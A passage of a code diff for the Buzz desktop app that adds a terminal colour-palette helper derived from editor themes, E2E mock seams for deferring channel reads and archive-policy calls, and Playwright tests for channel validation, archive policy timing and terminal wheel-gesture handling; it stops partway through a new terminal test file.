settings: readonly TokenSetting[],
|
||||||
|
anchors: readonly string[],
|
||||||
|
): string | undefined {
|
||||||
|
for (const entry of settings) {
|
||||||
|
if (!entry.settings?.foreground || !entry.scope) continue;
|
||||||
|
const scopes = Array.isArray(entry.scope) ? entry.scope : [entry.scope];
|
||||||
|
if (
|
||||||
|
scopes.some((scope) =>
|
||||||
|
anchors.some((anchor) =>
|
||||||
|
scope
|
||||||
|
.toLowerCase()
|
||||||
|
.split(/[.,\s]+/)
|
||||||
|
.some((part: string) => part.includes(anchor)),
|
||||||
|
),
|
||||||
|
)
|
||||||
|
) {
|
||||||
|
return entry.settings.foreground;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return undefined;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Derive a complete terminal palette from the same immutable Shiki theme. */
|
||||||
|
export function extractTerminalPalette(
|
||||||
|
theme: ThemeRegistrationRaw,
|
||||||
|
): TerminalPalette {
|
||||||
|
const colors = (theme.colors ?? {}) as Readonly<Record<string, string>>;
|
||||||
|
const background = normalizeHex(colors["editor.background"], "#1e1e1e");
|
||||||
|
const foreground = normalizeHex(colors["editor.foreground"], "#d4d4d4");
|
||||||
|
const isLight = luminance(background) > luminance(foreground);
|
||||||
|
const brightenToward = isLight ? "#000000" : "#ffffff";
|
||||||
|
const settings = tokenSettings(theme);
|
||||||
|
|
||||||
|
const base: Record<string, string> = {
|
||||||
|
black: normalizeHex(
|
||||||
|
colors["terminal.ansiBlack"],
|
||||||
|
mix(background, foreground, 0.16),
|
||||||
|
),
|
||||||
|
white: normalizeHex(
|
||||||
|
colors["terminal.ansiWhite"],
|
||||||
|
mix(background, foreground, 0.82),
|
||||||
|
),
|
||||||
|
};
|
||||||
|
|
||||||
|
for (const name of ["red", "green", "yellow", "blue", "magenta", "cyan"]) {
|
||||||
|
const key = `terminal.ansi${name[0].toUpperCase()}${name.slice(1)}`;
|
||||||
|
const anchored = scopeColor(settings, SCOPE_ANCHORS[name]);
|
||||||
|
const fallback = mix(FALLBACK_HUES[name], foreground, 0.18);
|
||||||
|
base[name] = normalizeHex(colors[key], normalizeHex(anchored, fallback));
|
||||||
|
}
|
||||||
|
|
||||||
|
const ansi = {} as Record<AnsiColorName, string>;
|
||||||
|
for (const name of ANSI_COLOR_NAMES.slice(0, 8)) {
|
||||||
|
ansi[name] = base[name];
|
||||||
|
}
|
||||||
|
ANSI_COLOR_NAMES.slice(8).forEach((brightName, index) => {
|
||||||
|
const baseName = ANSI_COLOR_NAMES[index];
|
||||||
|
const key = `terminal.ansi${brightName[0].toUpperCase()}${brightName.slice(1)}`;
|
||||||
|
ansi[brightName] = normalizeHex(
|
||||||
|
colors[key],
|
||||||
|
mix(base[baseName], brightenToward, 0.28),
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
return {
|
||||||
|
background,
|
||||||
|
foreground,
|
||||||
|
cursor: normalizeHex(colors["terminalCursor.foreground"], foreground),
|
||||||
|
cursorText: normalizeHex(colors["terminalCursor.background"], background),
|
||||||
|
ansi,
|
||||||
|
};
|
||||||
|
}
|
||||||
@@ -6,6 +6,10 @@
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
import type { ThemeRegistrationRaw } from "shiki";
|
import type { ThemeRegistrationRaw } from "shiki";
|
||||||
|
import {
|
||||||
|
type TerminalPalette,
|
||||||
|
extractTerminalPalette,
|
||||||
|
} from "./terminal-palette";
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Buzz theme name. Buzz is a first-party light theme that reuses GitHub
|
* Buzz theme name. Buzz is a first-party light theme that reuses GitHub
|
||||||
@@ -380,6 +384,7 @@ export interface ThemeInfo {
|
|||||||
added: string | null;
|
added: string | null;
|
||||||
deleted: string | null;
|
deleted: string | null;
|
||||||
modified: string | null;
|
modified: string | null;
|
||||||
|
terminalPalette: TerminalPalette;
|
||||||
}
|
}
|
||||||
|
|
||||||
export function extractThemeInfo(
|
export function extractThemeInfo(
|
||||||
@@ -402,6 +407,7 @@ export function extractThemeInfo(
|
|||||||
fg,
|
fg,
|
||||||
),
|
),
|
||||||
...gitColors,
|
...gitColors,
|
||||||
|
terminalPalette: extractTerminalPalette(theme),
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -401,11 +401,12 @@ type E2eConfig = {
|
|||||||
observerArchiveDefaultEnabled?: boolean;
|
observerArchiveDefaultEnabled?: boolean;
|
||||||
/**
|
/**
|
||||||
* Delay (ms) applied to `observer_archive_default_enabled` so E2E tests
|
* Delay (ms) applied to `observer_archive_default_enabled` so E2E tests
|
||||||
* can observe the pending-reconciliation state (toggle disabled, no
|
* can exercise short-lived loading UI. 0/undefined = instant. Prefer the
|
||||||
* archive-manager `list_save_subscriptions` call) before the policy
|
* explicit defer/release seam for pending-state ordering assertions.
|
||||||
* resolves. 0/undefined = instant.
|
|
||||||
*/
|
*/
|
||||||
observerArchiveDefaultEnabledDelayMs?: number;
|
observerArchiveDefaultEnabledDelayMs?: number;
|
||||||
|
/** Hold the observer policy command until the E2E release seam is called. */
|
||||||
|
deferObserverArchiveDefaultEnabled?: boolean;
|
||||||
/**
|
/**
|
||||||
* When set, `observer_archive_default_enabled` throws with this message
|
* When set, `observer_archive_default_enabled` throws with this message
|
||||||
* instead of resolving — drives the fail-closed `.catch()` path in
|
* instead of resolving — drives the fail-closed `.catch()` path in
|
||||||
@@ -1278,6 +1279,16 @@ declare global {
|
|||||||
/** Count of `get_event` invocations for the current defer-target ID since
|
/** Count of `get_event` invocations for the current defer-target ID since
|
||||||
* the last time `__BUZZ_E2E_DEFER_GET_EVENT__` was set. */
|
* the last time `__BUZZ_E2E_DEFER_GET_EVENT__` was set. */
|
||||||
__BUZZ_E2E_GET_EVENT_CALL_COUNT__?: number;
|
__BUZZ_E2E_GET_EVENT_CALL_COUNT__?: number;
|
||||||
|
/** Release every deferred observer archive policy command. */
|
||||||
|
__BUZZ_E2E_RELEASE_OBSERVER_ARCHIVE_POLICY__?: () => number;
|
||||||
|
/** Number of observer archive policy commands currently held by the seam. */
|
||||||
|
__BUZZ_E2E_OBSERVER_ARCHIVE_POLICY_PENDING__?: number;
|
||||||
|
/** Hold the next channel read until released. */
|
||||||
|
__BUZZ_E2E_DEFER_NEXT_CHANNELS_READ__?: () => void;
|
||||||
|
/** Disarm the latch and release the held channel read, if any. */
|
||||||
|
__BUZZ_E2E_RELEASE_CHANNELS_READ__?: () => number;
|
||||||
|
/** Number of channel reads currently held by the seam. */
|
||||||
|
__BUZZ_E2E_CHANNELS_READ_PENDING__?: number;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1381,6 +1392,9 @@ type DeferredGetEvent = {
|
|||||||
run: () => Promise<string>;
|
run: () => Promise<string>;
|
||||||
};
|
};
|
||||||
let deferredGetEventQueue: DeferredGetEvent[] = [];
|
let deferredGetEventQueue: DeferredGetEvent[] = [];
|
||||||
|
let deferredObserverArchivePolicyQueue: Array<() => void> = [];
|
||||||
|
let deferNextChannelsRead = false;
|
||||||
|
let deferredChannelsReadResolve: (() => void) | null = null;
|
||||||
|
|
||||||
const mockDisplayNames = new Map<string, string>([
|
const mockDisplayNames = new Map<string, string>([
|
||||||
[MOCK_IDENTITY_PUBKEY, DEFAULT_MOCK_IDENTITY.display_name],
|
[MOCK_IDENTITY_PUBKEY, DEFAULT_MOCK_IDENTITY.display_name],
|
||||||
@@ -9944,6 +9958,31 @@ export function maybeInstallE2eTauriMocks() {
|
|||||||
window.__BUZZ_E2E_GET_EVENT_CALL_COUNT__ = 0;
|
window.__BUZZ_E2E_GET_EVENT_CALL_COUNT__ = 0;
|
||||||
window.__BUZZ_E2E_DEFER_GET_EVENT__ = null;
|
window.__BUZZ_E2E_DEFER_GET_EVENT__ = null;
|
||||||
deferredGetEventQueue = [];
|
deferredGetEventQueue = [];
|
||||||
|
deferredObserverArchivePolicyQueue = [];
|
||||||
|
window.__BUZZ_E2E_OBSERVER_ARCHIVE_POLICY_PENDING__ = 0;
|
||||||
|
window.__BUZZ_E2E_RELEASE_OBSERVER_ARCHIVE_POLICY__ = () => {
|
||||||
|
const queued = deferredObserverArchivePolicyQueue.splice(0);
|
||||||
|
window.__BUZZ_E2E_OBSERVER_ARCHIVE_POLICY_PENDING__ = 0;
|
||||||
|
for (const resolve of queued) resolve();
|
||||||
|
return queued.length;
|
||||||
|
};
|
||||||
|
deferNextChannelsRead = false;
|
||||||
|
deferredChannelsReadResolve = null;
|
||||||
|
window.__BUZZ_E2E_CHANNELS_READ_PENDING__ = 0;
|
||||||
|
window.__BUZZ_E2E_DEFER_NEXT_CHANNELS_READ__ = () => {
|
||||||
|
if (deferredChannelsReadResolve) {
|
||||||
|
throw new Error("a channel read is already deferred");
|
||||||
|
}
|
||||||
|
deferNextChannelsRead = true;
|
||||||
|
};
|
||||||
|
window.__BUZZ_E2E_RELEASE_CHANNELS_READ__ = () => {
|
||||||
|
deferNextChannelsRead = false;
|
||||||
|
const resolve = deferredChannelsReadResolve;
|
||||||
|
deferredChannelsReadResolve = null;
|
||||||
|
window.__BUZZ_E2E_CHANNELS_READ_PENDING__ = 0;
|
||||||
|
resolve?.();
|
||||||
|
return resolve ? 1 : 0;
|
||||||
|
};
|
||||||
window.__BUZZ_E2E_RELEASE_GET_EVENT__ = () => {
|
window.__BUZZ_E2E_RELEASE_GET_EVENT__ = () => {
|
||||||
const queued = deferredGetEventQueue.splice(0);
|
const queued = deferredGetEventQueue.splice(0);
|
||||||
for (const entry of queued) {
|
for (const entry of queued) {
|
||||||
@@ -11468,8 +11507,20 @@ export function maybeInstallE2eTauriMocks() {
|
|||||||
payload as Parameters<typeof handleDiscoverManagedAgentPrereqs>[0],
|
payload as Parameters<typeof handleDiscoverManagedAgentPrereqs>[0],
|
||||||
activeConfig,
|
activeConfig,
|
||||||
);
|
);
|
||||||
case "get_channels":
|
case "get_channels": {
|
||||||
return handleGetChannels(activeConfig);
|
// Claim the one-shot before starting the read, then hold only that
|
||||||
|
// invocation's completion. Later reads pass through and cannot join it.
|
||||||
|
const deferred = deferNextChannelsRead;
|
||||||
|
deferNextChannelsRead = false;
|
||||||
|
const channels = handleGetChannels(activeConfig);
|
||||||
|
if (deferred) {
|
||||||
|
await new Promise<void>((resolve) => {
|
||||||
|
deferredChannelsReadResolve = resolve;
|
||||||
|
window.__BUZZ_E2E_CHANNELS_READ_PENDING__ = 1;
|
||||||
|
});
|
||||||
|
}
|
||||||
|
return channels;
|
||||||
|
}
|
||||||
case "get_feed":
|
case "get_feed":
|
||||||
return handleGetFeed(
|
return handleGetFeed(
|
||||||
(payload as Parameters<typeof handleGetFeed>[0]) ?? {},
|
(payload as Parameters<typeof handleGetFeed>[0]) ?? {},
|
||||||
@@ -12580,6 +12631,13 @@ export function maybeInstallE2eTauriMocks() {
|
|||||||
// Returns the ArchiveBatchResult shape the UI expects.
|
// Returns the ArchiveBatchResult shape the UI expects.
|
||||||
return { persisted: 0, dropped: 0 };
|
return { persisted: 0, dropped: 0 };
|
||||||
case "observer_archive_default_enabled": {
|
case "observer_archive_default_enabled": {
|
||||||
|
if (activeConfig?.mock?.deferObserverArchiveDefaultEnabled) {
|
||||||
|
await new Promise<void>((resolve) => {
|
||||||
|
deferredObserverArchivePolicyQueue.push(resolve);
|
||||||
|
window.__BUZZ_E2E_OBSERVER_ARCHIVE_POLICY_PENDING__ =
|
||||||
|
deferredObserverArchivePolicyQueue.length;
|
||||||
|
});
|
||||||
|
}
|
||||||
const delayMs =
|
const delayMs =
|
||||||
activeConfig?.mock?.observerArchiveDefaultEnabledDelayMs;
|
activeConfig?.mock?.observerArchiveDefaultEnabledDelayMs;
|
||||||
if (delayMs && delayMs > 0) {
|
if (delayMs && delayMs > 0) {
|
||||||
|
|||||||
@@ -457,14 +457,7 @@ test.describe("community rail", () => {
|
|||||||
test("does not repair a remembered channel until live validation succeeds", async ({
|
test("does not repair a remembered channel until live validation succeeds", async ({
|
||||||
page,
|
page,
|
||||||
}) => {
|
}) => {
|
||||||
await installMockBridge(
|
await installMockBridge(page, undefined, { skipCommunitySeed: true });
|
||||||
page,
|
|
||||||
{
|
|
||||||
channelsReadDelayMs: 300,
|
|
||||||
channelsReadErrors: [null, "temporary channel read failure"],
|
|
||||||
},
|
|
||||||
{ skipCommunitySeed: true },
|
|
||||||
);
|
|
||||||
await seedCommunities(page, [COMMUNITY_A, COMMUNITY_B], COMMUNITY_A.id);
|
await seedCommunities(page, [COMMUNITY_A, COMMUNITY_B], COMMUNITY_A.id);
|
||||||
await page.addInitScript((communityId) => {
|
await page.addInitScript((communityId) => {
|
||||||
window.localStorage.setItem(
|
window.localStorage.setItem(
|
||||||
@@ -483,6 +476,31 @@ test.describe("community rail", () => {
|
|||||||
),
|
),
|
||||||
)
|
)
|
||||||
.not.toBeNull();
|
.not.toBeNull();
|
||||||
|
expect(
|
||||||
|
await page.evaluate(async () => {
|
||||||
|
const testWindow = window as Window & {
|
||||||
|
__BUZZ_E2E_DEFER_NEXT_CHANNELS_READ__?: () => void;
|
||||||
|
__BUZZ_E2E_RELEASE_CHANNELS_READ__?: () => number;
|
||||||
|
__BUZZ_E2E_CHANNELS_READ_PENDING__?: number;
|
||||||
|
__BUZZ_E2E_INVOKE_MOCK_COMMAND__?: (
|
||||||
|
command: string,
|
||||||
|
) => Promise<unknown>;
|
||||||
|
};
|
||||||
|
const deferNext = testWindow.__BUZZ_E2E_DEFER_NEXT_CHANNELS_READ__;
|
||||||
|
const release = testWindow.__BUZZ_E2E_RELEASE_CHANNELS_READ__;
|
||||||
|
const invoke = testWindow.__BUZZ_E2E_INVOKE_MOCK_COMMAND__;
|
||||||
|
if (!deferNext || !release || !invoke) {
|
||||||
|
throw new Error("missing channel-read latch seam");
|
||||||
|
}
|
||||||
|
deferNext();
|
||||||
|
const released = release();
|
||||||
|
await invoke("get_channels");
|
||||||
|
return {
|
||||||
|
released,
|
||||||
|
pending: testWindow.__BUZZ_E2E_CHANNELS_READ_PENDING__,
|
||||||
|
};
|
||||||
|
}),
|
||||||
|
).toEqual({ released: 0, pending: 0 });
|
||||||
await page.evaluate(() => {
|
await page.evaluate(() => {
|
||||||
const source = window.localStorage.getItem(
|
const source = window.localStorage.getItem(
|
||||||
"buzz-channels.v1:ws://localhost:3000",
|
"buzz-channels.v1:ws://localhost:3000",
|
||||||
@@ -497,20 +515,88 @@ test.describe("community rail", () => {
|
|||||||
JSON.stringify(snapshot),
|
JSON.stringify(snapshot),
|
||||||
);
|
);
|
||||||
});
|
});
|
||||||
|
await page.evaluate(() => {
|
||||||
|
const config = (
|
||||||
|
window as Window & {
|
||||||
|
__BUZZ_E2E__?: {
|
||||||
|
mock?: {
|
||||||
|
channelsReadError?: string;
|
||||||
|
channelsReadErrors?: (string | null)[];
|
||||||
|
};
|
||||||
|
};
|
||||||
|
}
|
||||||
|
).__BUZZ_E2E__;
|
||||||
|
if (!config) throw new Error("missing E2E config");
|
||||||
|
config.mock = {
|
||||||
|
...config.mock,
|
||||||
|
channelsReadError: "temporary channel read failure",
|
||||||
|
channelsReadErrors: ["temporary channel read failure"],
|
||||||
|
};
|
||||||
|
});
|
||||||
|
await expect
|
||||||
|
.poll(() =>
|
||||||
|
page.evaluate(
|
||||||
|
() => window.__BUZZ_E2E__?.mock?.channelsReadErrors?.length ?? 0,
|
||||||
|
),
|
||||||
|
)
|
||||||
|
.toBe(1);
|
||||||
|
await page.evaluate(() => {
|
||||||
|
const testWindow = window as Window & {
|
||||||
|
__BUZZ_E2E_DEFER_NEXT_CHANNELS_READ__?: () => void;
|
||||||
|
__BUZZ_E2E_INVALIDATE_CHANNELS__?: () => Promise<void>;
|
||||||
|
};
|
||||||
|
const deferNextChannelsRead =
|
||||||
|
testWindow.__BUZZ_E2E_DEFER_NEXT_CHANNELS_READ__;
|
||||||
|
const invalidateChannels = testWindow.__BUZZ_E2E_INVALIDATE_CHANNELS__;
|
||||||
|
if (!deferNextChannelsRead) {
|
||||||
|
throw new Error("missing channel-read defer seam");
|
||||||
|
}
|
||||||
|
if (!invalidateChannels) {
|
||||||
|
throw new Error("missing channel invalidation seam");
|
||||||
|
}
|
||||||
|
// Arm and trigger in one browser task so unrelated callbacks cannot
|
||||||
|
// claim the one-shot before the validation read starts.
|
||||||
|
deferNextChannelsRead();
|
||||||
|
void invalidateChannels();
|
||||||
|
});
|
||||||
|
await page.waitForFunction(
|
||||||
|
() =>
|
||||||
|
(
|
||||||
|
window as Window & {
|
||||||
|
__BUZZ_E2E_CHANNELS_READ_PENDING__?: number;
|
||||||
|
}
|
||||||
|
).__BUZZ_E2E_CHANNELS_READ_PENDING__ === 1,
|
||||||
|
);
|
||||||
|
expect(
|
||||||
|
await page.evaluate(async () => {
|
||||||
|
const invoke = (
|
||||||
|
window as Window & {
|
||||||
|
__BUZZ_E2E_INVOKE_MOCK_COMMAND__?: (
|
||||||
|
command: string,
|
||||||
|
) => Promise<unknown>;
|
||||||
|
}
|
||||||
|
).__BUZZ_E2E_INVOKE_MOCK_COMMAND__;
|
||||||
|
if (!invoke) throw new Error("missing mock command seam");
|
||||||
|
try {
|
||||||
|
await invoke("get_channels");
|
||||||
|
return null;
|
||||||
|
} catch (error) {
|
||||||
|
return error instanceof Error ? error.message : String(error);
|
||||||
|
}
|
||||||
|
}),
|
||||||
|
).toBe("temporary channel read failure");
|
||||||
|
expect(
|
||||||
|
await page.evaluate(
|
||||||
|
() =>
|
||||||
|
(
|
||||||
|
window as Window & {
|
||||||
|
__BUZZ_E2E_CHANNELS_READ_PENDING__?: number;
|
||||||
|
}
|
||||||
|
).__BUZZ_E2E_CHANNELS_READ_PENDING__,
|
||||||
|
),
|
||||||
|
).toBe(1);
|
||||||
await page.getByTestId(`community-rail-button-${COMMUNITY_B.id}`).click();
|
await page.getByTestId(`community-rail-button-${COMMUNITY_B.id}`).click();
|
||||||
await expect(page).toHaveURL(/#\/channels\/general$/);
|
await expect(page).not.toHaveURL(/#\/channels\/general$/);
|
||||||
await expect
|
|
||||||
.poll(() =>
|
|
||||||
page.evaluate((communityId) => {
|
|
||||||
const raw = window.localStorage.getItem(
|
|
||||||
"buzz-community-destinations",
|
|
||||||
);
|
|
||||||
return raw ? JSON.parse(raw)[communityId] : null;
|
|
||||||
}, COMMUNITY_B.id),
|
|
||||||
)
|
|
||||||
.toEqual({ kind: "channel", channelId: "general" });
|
|
||||||
await page.waitForTimeout(400);
|
|
||||||
await expect
|
await expect
|
||||||
.poll(() =>
|
.poll(() =>
|
||||||
page.evaluate((communityId) => {
|
page.evaluate((communityId) => {
|
||||||
@@ -522,7 +608,45 @@ test.describe("community rail", () => {
|
|||||||
)
|
)
|
||||||
.toEqual({ kind: "channel", channelId: "general" });
|
.toEqual({ kind: "channel", channelId: "general" });
|
||||||
|
|
||||||
await expect(page.getByTestId("channel-general")).toBeVisible();
|
const released = await page.evaluate(
|
||||||
|
() =>
|
||||||
|
(
|
||||||
|
window as Window & {
|
||||||
|
__BUZZ_E2E_RELEASE_CHANNELS_READ__?: () => number;
|
||||||
|
}
|
||||||
|
).__BUZZ_E2E_RELEASE_CHANNELS_READ__?.() ?? 0,
|
||||||
|
);
|
||||||
|
expect(released).toBe(1);
|
||||||
|
expect(
|
||||||
|
await page.evaluate(async () => {
|
||||||
|
const testWindow = window as Window & {
|
||||||
|
__BUZZ_E2E_INVOKE_MOCK_COMMAND__?: (
|
||||||
|
command: string,
|
||||||
|
) => Promise<unknown>;
|
||||||
|
__BUZZ_E2E_CHANNELS_READ_PENDING__?: number;
|
||||||
|
};
|
||||||
|
const invoke = testWindow.__BUZZ_E2E_INVOKE_MOCK_COMMAND__;
|
||||||
|
if (!invoke) throw new Error("missing mock command seam");
|
||||||
|
let message: string | null = null;
|
||||||
|
try {
|
||||||
|
await invoke("get_channels");
|
||||||
|
} catch (error) {
|
||||||
|
message = error instanceof Error ? error.message : String(error);
|
||||||
|
}
|
||||||
|
return {
|
||||||
|
message,
|
||||||
|
pending: testWindow.__BUZZ_E2E_CHANNELS_READ_PENDING__,
|
||||||
|
};
|
||||||
|
}),
|
||||||
|
).toEqual({ message: "temporary channel read failure", pending: 0 });
|
||||||
|
await expect
|
||||||
|
.poll(() =>
|
||||||
|
page.evaluate(
|
||||||
|
() => window.__BUZZ_E2E__?.mock?.channelsReadErrors?.length ?? 0,
|
||||||
|
),
|
||||||
|
)
|
||||||
|
.toBe(0);
|
||||||
|
|
||||||
await expect
|
await expect
|
||||||
.poll(() =>
|
.poll(() =>
|
||||||
page.evaluate((communityId) => {
|
page.evaluate((communityId) => {
|
||||||
@@ -533,6 +657,32 @@ test.describe("community rail", () => {
|
|||||||
}, COMMUNITY_B.id),
|
}, COMMUNITY_B.id),
|
||||||
)
|
)
|
||||||
.toEqual({ kind: "channel", channelId: "general" });
|
.toEqual({ kind: "channel", channelId: "general" });
|
||||||
|
await page.evaluate(async () => {
|
||||||
|
const testWindow = window as Window & {
|
||||||
|
__BUZZ_E2E__?: {
|
||||||
|
mock?: { channelsReadError?: string };
|
||||||
|
};
|
||||||
|
__BUZZ_E2E_INVALIDATE_CHANNELS__?: () => Promise<void>;
|
||||||
|
};
|
||||||
|
const config = testWindow.__BUZZ_E2E__;
|
||||||
|
const invalidateChannels = testWindow.__BUZZ_E2E_INVALIDATE_CHANNELS__;
|
||||||
|
if (!config?.mock) throw new Error("missing E2E mock config");
|
||||||
|
if (!invalidateChannels) {
|
||||||
|
throw new Error("missing channel invalidation seam");
|
||||||
|
}
|
||||||
|
config.mock.channelsReadError = undefined;
|
||||||
|
await invalidateChannels();
|
||||||
|
});
|
||||||
|
await expect
|
||||||
|
.poll(() =>
|
||||||
|
page.evaluate((communityId) => {
|
||||||
|
const raw = window.localStorage.getItem(
|
||||||
|
"buzz-community-destinations",
|
||||||
|
);
|
||||||
|
return raw ? JSON.parse(raw)[communityId] : null;
|
||||||
|
}, COMMUNITY_B.id),
|
||||||
|
)
|
||||||
|
.toEqual({ kind: "home" });
|
||||||
});
|
});
|
||||||
|
|
||||||
test("does not restore a remembered destination on cold boot", async ({
|
test("does not restore a remembered destination on cold boot", async ({
|
||||||
|
|||||||
@@ -226,7 +226,7 @@ test.describe("observer archive policy — reconciliation gate", () => {
|
|||||||
}) => {
|
}) => {
|
||||||
await installMockBridge(page, {
|
await installMockBridge(page, {
|
||||||
observerArchiveDefaultEnabled: true,
|
observerArchiveDefaultEnabled: true,
|
||||||
observerArchiveDefaultEnabledDelayMs: 500,
|
deferObserverArchiveDefaultEnabled: true,
|
||||||
saveSubscriptions: [
|
saveSubscriptions: [
|
||||||
{
|
{
|
||||||
scope_type: "owner_p",
|
scope_type: "owner_p",
|
||||||
@@ -237,6 +237,14 @@ test.describe("observer archive policy — reconciliation gate", () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
await page.goto("/", { waitUntil: "domcontentloaded" });
|
await page.goto("/", { waitUntil: "domcontentloaded" });
|
||||||
|
await page.waitForFunction(
|
||||||
|
() =>
|
||||||
|
(
|
||||||
|
window as Window & {
|
||||||
|
__BUZZ_E2E_OBSERVER_ARCHIVE_POLICY_PENDING__?: number;
|
||||||
|
}
|
||||||
|
).__BUZZ_E2E_OBSERVER_ARCHIVE_POLICY_PENDING__ === 1,
|
||||||
|
);
|
||||||
await expect(page.getByTestId("channel-general")).toBeVisible({
|
await expect(page.getByTestId("channel-general")).toBeVisible({
|
||||||
timeout: 10_000,
|
timeout: 10_000,
|
||||||
});
|
});
|
||||||
@@ -272,6 +280,16 @@ test.describe("observer archive policy — reconciliation gate", () => {
|
|||||||
);
|
);
|
||||||
expect(hasSubscriptionWhilePending).toBe(false);
|
expect(hasSubscriptionWhilePending).toBe(false);
|
||||||
|
|
||||||
|
const released = await page.evaluate(
|
||||||
|
() =>
|
||||||
|
(
|
||||||
|
window as Window & {
|
||||||
|
__BUZZ_E2E_RELEASE_OBSERVER_ARCHIVE_POLICY__?: () => number;
|
||||||
|
}
|
||||||
|
).__BUZZ_E2E_RELEASE_OBSERVER_ARCHIVE_POLICY__?.() ?? 0,
|
||||||
|
);
|
||||||
|
expect(released).toBe(1);
|
||||||
|
|
||||||
// After the policy resolves, both the IPC call and the live filter
|
// After the policy resolves, both the IPC call and the live filter
|
||||||
// appear.
|
// appear.
|
||||||
await page.waitForFunction(
|
await page.waitForFunction(
|
||||||
|
|||||||
@@ -64,6 +64,21 @@ test("locks viewport rubber-band outside conversation scrollers", async ({
|
|||||||
deltaY: -120,
|
deltaY: -120,
|
||||||
}),
|
}),
|
||||||
).resolves.toBe(false);
|
).resolves.toBe(false);
|
||||||
|
|
||||||
|
// Buzz Term consumes wheel gestures as custom scrollback rather than through
|
||||||
|
// a native scroll container. The viewport lock must leave that vertical
|
||||||
|
// gesture alone so the substrate's own handler can receive it.
|
||||||
|
await page.evaluate(() => {
|
||||||
|
const terminal = document.createElement("section");
|
||||||
|
terminal.dataset.terminalOwner = "terminal";
|
||||||
|
terminal.dataset.testid = "terminal-wheel-target";
|
||||||
|
document.body.append(terminal);
|
||||||
|
});
|
||||||
|
await expect(
|
||||||
|
dispatchWheelPrevented(page, '[data-testid="terminal-wheel-target"]', {
|
||||||
|
deltaY: -120,
|
||||||
|
}),
|
||||||
|
).resolves.toBe(false);
|
||||||
});
|
});
|
||||||
|
|
||||||
test("locks horizontal viewport pan everywhere", async ({ page }) => {
|
test("locks horizontal viewport pan everywhere", async ({ page }) => {
|
||||||
@@ -95,6 +110,45 @@ test("locks horizontal viewport pan everywhere", async ({ page }) => {
|
|||||||
).resolves.toBe(true);
|
).resolves.toBe(true);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
await page.evaluate(() => {
|
||||||
|
const terminal = document.createElement("section");
|
||||||
|
terminal.dataset.terminalOwner = "terminal";
|
||||||
|
terminal.dataset.testid = "terminal-wheel-target";
|
||||||
|
document.body.append(terminal);
|
||||||
|
});
|
||||||
|
for (const [deltaX, deltaY, prevented] of [
|
||||||
|
[120, 0, true],
|
||||||
|
[0, 120, false],
|
||||||
|
[120, 120, false],
|
||||||
|
[120, 20, true],
|
||||||
|
] as const) {
|
||||||
|
await expect(
|
||||||
|
dispatchWheelPrevented(page, '[data-testid="terminal-wheel-target"]', {
|
||||||
|
deltaX,
|
||||||
|
deltaY,
|
||||||
|
}),
|
||||||
|
).resolves.toBe(prevented);
|
||||||
|
}
|
||||||
|
|
||||||
|
// A concealed substrate is not an active custom wheel consumer. Keep dead
|
||||||
|
// space locked even if a future layout places Buzz content inside it.
|
||||||
|
await page.evaluate(() => {
|
||||||
|
const terminal = document.querySelector<HTMLElement>(
|
||||||
|
'[data-testid="terminal-wheel-target"]',
|
||||||
|
);
|
||||||
|
const buzzContent = document.createElement("div");
|
||||||
|
buzzContent.dataset.testid = "concealed-terminal-dead-space";
|
||||||
|
terminal?.append(buzzContent);
|
||||||
|
if (terminal) terminal.dataset.terminalOwner = "buzz";
|
||||||
|
});
|
||||||
|
await expect(
|
||||||
|
dispatchWheelPrevented(
|
||||||
|
page,
|
||||||
|
'[data-testid="concealed-terminal-dead-space"]',
|
||||||
|
{ deltaY: 120 },
|
||||||
|
),
|
||||||
|
).resolves.toBe(true);
|
||||||
|
|
||||||
// A predominantly vertical gesture with slight horizontal drift still
|
// A predominantly vertical gesture with slight horizontal drift still
|
||||||
// reaches the conversation scroller.
|
// reaches the conversation scroller.
|
||||||
await expect(
|
await expect(
|
||||||
|
|||||||
232
desktop/tests/e2e/terminal-wheel.spec.ts
Normal file
232
desktop/tests/e2e/terminal-wheel.spec.ts
Normal file
@@ -0,0 +1,232 @@
|
|||||||
|
import { expect, test, type Page } from "@playwright/test";
|
||||||
|
import { installMockBridge } from "../helpers/bridge";
|
||||||
|
|
||||||
|
const TERM = 'section[aria-label="Buzz Term"]';
|
||||||
|
const NAMED = 0x0100_0000;
|
||||||
|
const FG = NAMED | 256;
|
||||||
|
const BG = NAMED | 257;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The shipped mock bridge throws on every `terminal_*` command, so Buzz Term is
|
||||||
|
* unreachable through `installMockBridge` alone. This pre-creates
|
||||||
|
* `__TAURI_INTERNALS__` and traps the `invoke` assignment `mockIPC` makes:
|
||||||
|
* terminal commands are answered here, everything else falls through to the
|
||||||
|
* real mock bridge.
|
||||||
|
*/
|
||||||
|
async function installTerminalBackend(page: Page) {
|
||||||
|
await page.addInitScript(() => {
|
||||||
|
const w = window as typeof window & {
|
||||||
|
isTauri?: boolean;
|
||||||
|
__TAURI_INTERNALS__?: Record<string, unknown>;
|
||||||
|
__SAMI_TERM__?: unknown;
|
||||||
|
};
|
||||||
|
w.isTauri = true;
|
||||||
|
const state = {
|
||||||
|
deliver: null as ((message: unknown) => void) | null,
|
||||||
|
scrolls: [] as number[],
|
||||||
|
inputs: [] as string[],
|
||||||
|
subscriptionId: "sami-sub-1",
|
||||||
|
columns: 80,
|
||||||
|
screenLines: 24,
|
||||||
|
sequence: 0,
|
||||||
|
};
|
||||||
|
w.__SAMI_TERM__ = state;
|
||||||
|
|
||||||
|
const internals: Record<string, unknown> = {};
|
||||||
|
let inner: ((cmd: string, args: unknown, opts: unknown) => unknown) | null =
|
||||||
|
null;
|
||||||
|
Object.defineProperty(internals, "invoke", {
|
||||||
|
configurable: true,
|
||||||
|
get:
|
||||||
|
() => (cmd: string, args: Record<string, unknown>, opts: unknown) => {
|
||||||
|
switch (cmd) {
|
||||||
|
case "terminal_attach": {
|
||||||
|
const channel = args.onFrame as {
|
||||||
|
onmessage: (m: unknown) => void;
|
||||||
|
};
|
||||||
|
state.deliver = (message) => channel.onmessage(message);
|
||||||
|
return Promise.resolve({
|
||||||
|
